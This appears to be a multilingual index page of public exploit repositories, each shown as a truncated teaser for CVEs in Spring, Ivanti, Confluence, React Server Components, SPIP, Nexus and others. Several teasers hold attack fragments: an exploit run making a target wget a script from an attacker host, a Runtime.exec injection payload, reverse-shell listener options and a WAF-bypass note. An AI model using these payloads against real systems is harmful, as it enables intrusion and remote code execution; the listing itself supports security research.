SSH-Remote-Code-Execution

Esecuzione Remota di Codice SSH SSH Zero-Day | Creato da ClumsyLulz & Taylor Christian Newsome Sommario Questo repository contiene un programma in C che accetta parametri di input e genera un pacchetto da inviare a un server tramite il protocollo SSH. Il programma alloca un buffer per contenere i...

CVE-2025-9216

StoreEngine – Potente plugin eCommerce WordPress per pagamenti, membership, affiliazioni, vendite e altro = 1.4.0 - Caricamento arbitrario di file autenticato Subscriber+ Il plugin StoreEngine contiene una vulnerabilità nella funzionalità di importazione/esportazione CSV che consente a qualsiasi...

S2-055

Exploit della vulnerabilità di deserializzazione S2-055 CVE-2017-7525 Procedura di sfruttamento javac ExploitCommand.java package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import...

docker-CVE-2019-11043

Immagine Docker e comandi per verificare CVE-2019-11043 CVE: CVE-2019-11043 Descrizione: Nelle versioni di PHP 7.1.x precedenti alla 7.1.33, 7.2.x precedenti alla 7.2.24 e 7.3.x precedenti alla 7.3.11, in alcune configurazioni di FPM è possibile causare la scrittura del modulo FPM oltre i buffer...

CVE-2022-37332-RCE-

Foxit nday : AKTUELL IN ARBEIT... ALLES, WAS ICH IMPLEMENTIEREN MUSS, IST JIT SPRAYING ..... auch getestet auf Version: 9.0.1.1049 also ja, ka : viel Spaß...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805CVE-2024-21887 Lo script in questo repository verifica e sfrutta le vulnerabilità CVE-2023-46805 Bypass dell'autenticazione e CVE-2024-21887 Esecuzione remota di codice presenti nel prodotto Ivanti Connect Secure. Puoi consultare i dettagli delle vulnerabilità a questo link...

CVE-2024-7954

CVE-2024-7954 - Exploit di Remote Command Execution RCE in SPIP 4.2.8 Questo script sfrutta una vulnerabilità di esecuzione remota di codice in SPIP versione 4.2.8 tramite l'endpoint porteplumeprevisu. La vulnerabilità consente ad attaccanti non autenticati di iniettare codice PHP attraverso il...

React2Shell-Library

Libreria React2Shell Una lista curata di risorse riguardanti CVE-2025-55182 , la vulnerabilità critica di esecuzione remota di codice RCE nei React Server Components conosciuta come "React2Shell". Obiettivo: Documentare la storia, i meccanismi e le mitigazioni della vulnerabilità React2Shell per...

Confluence-EvilJar

aaaademo/Confluence-EvilJar Utilizzato insieme a CVE-2023-22515 per caricare un file JAR tramite il backend e ottenere RCE git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell http://confluence.local/plugins/servlet/testbin/cmServlet Metodo di...

CVE-2025-2294

CVE-2025-2294 Introduzione CVE-2025-2294 è una vulnerabilità critica di tipo Local File Inclusion LFI nel plugin Kubio AI Page Builder per WordPress. La vulnerabilità consente a un attaccante remoto non autenticato di trasmettere un parametro appositamente costruito, a causa del quale il plugin p...

Windows-CVE-2024-38063

Windows-TCP/IP-IPv6CVE-2024-38063 La vulnerabilità CVE-2024-38063 è una vulnerabilità di esecuzione remota di codice nel componente TCP/IP del sistema operativo Windows. Secondo la documentazione ufficiale Microsoft, il livello di gravità massimo è critico, con un punteggio CVSS di 9.8. Diverse...

CVE-2025-55182-bypass

CVE-2025-55182 Bypass dell'header Bypass dell'header Next-Action per CVE-2025-55182. Consente di ottenere RCE React RSC senza header distintivi, aggirando le regole WAF. Scoperta chiave L'header Next-Action NON è richiesto per lo sfruttamento. Vettore d'attacco| Header Next-Action| Rilevamento WA...

CVE-2026-23744

CVE-2026-23744: Unauthentifizierte Remote-Code-Ausführung in @mcpjam/inspector HAFTUNGSAUSSCHLUSS: Dieses Repository und die zugehörigen Skripte sind ausschließlich für autorisierte Sicherheitsbewertungen, Penetrationstests, Sicherheitsforschung und Bildungsanalysen bestimmt. Unautorisiertes Test...

CVE-2026-44402

CVE-2026-44402 Esecuzione Remota Completa di Comandi senza autenticazione in Voltronic Power SNMP Web Pro 1.1 Contenuto Vendor interessato: https://voltronicpower.com/ Prodotto interessato: SNMP Web pro 1.1 SNMP Web Pro 1.1 contiene una vulnerabilità di esecuzione remota di codice non autenticata...

CVE-2023-4220-RCE

CVE-2023-4220-RCE Sommario Avviso di Starlabs Prodotto interessato: Chamilo , -p --port REMOTE PORT -c --comand Flag per la reverse shell -lh/--localhost: IP dell'attaccante -lp/--localtcat porta listener...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 Schwachstellen-ID: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Die Schwachstelle reproduzieren docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Erkennung der Schwachstelle POC Es wird...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit Questa è un'implementazione Python di Spring4Shell, CVE-2022-22963, che colpisce i servizi che eseguono Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 Polyglot Payload Nelle ultime settimane a novembre 2025, è stata divulgata una vulnerabilità interessante CVE-2025-64512 in pdfminer.six, un popolare progetto Python per l'elaborazione di file PDF, utilizzato in particolare nelle pipeline di intelligenza artificiale. La vulnerabili...

CVE-2020-10199

Nexus Repository Manager 3 Vuln versioni interessate: = 3.21.2 CVE-2020-10199, CVE-2020-10204, CVE-2020-11444 CVE-2020-10199 Esecuzione remota di comandi POC con output POC senza output $\A''.getClass.forName'java.lang.Runtime'.getMethods6.invokenull.exec'touch /tmp/cve-2020-10199' Privilegi...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

Da EternalBlue a CVE-2025-2776: l'evoluzione di un attacco SMB Ha scosso il mondo nel 2017 e si è evoluto nell'odierno CVE-2025-2776. Microsoft fa ancora affidamento su SMBv1; questo articolo spiegherà come gli attaccanti hanno modificato la catena da una semplice DLL a un completo stack di rever...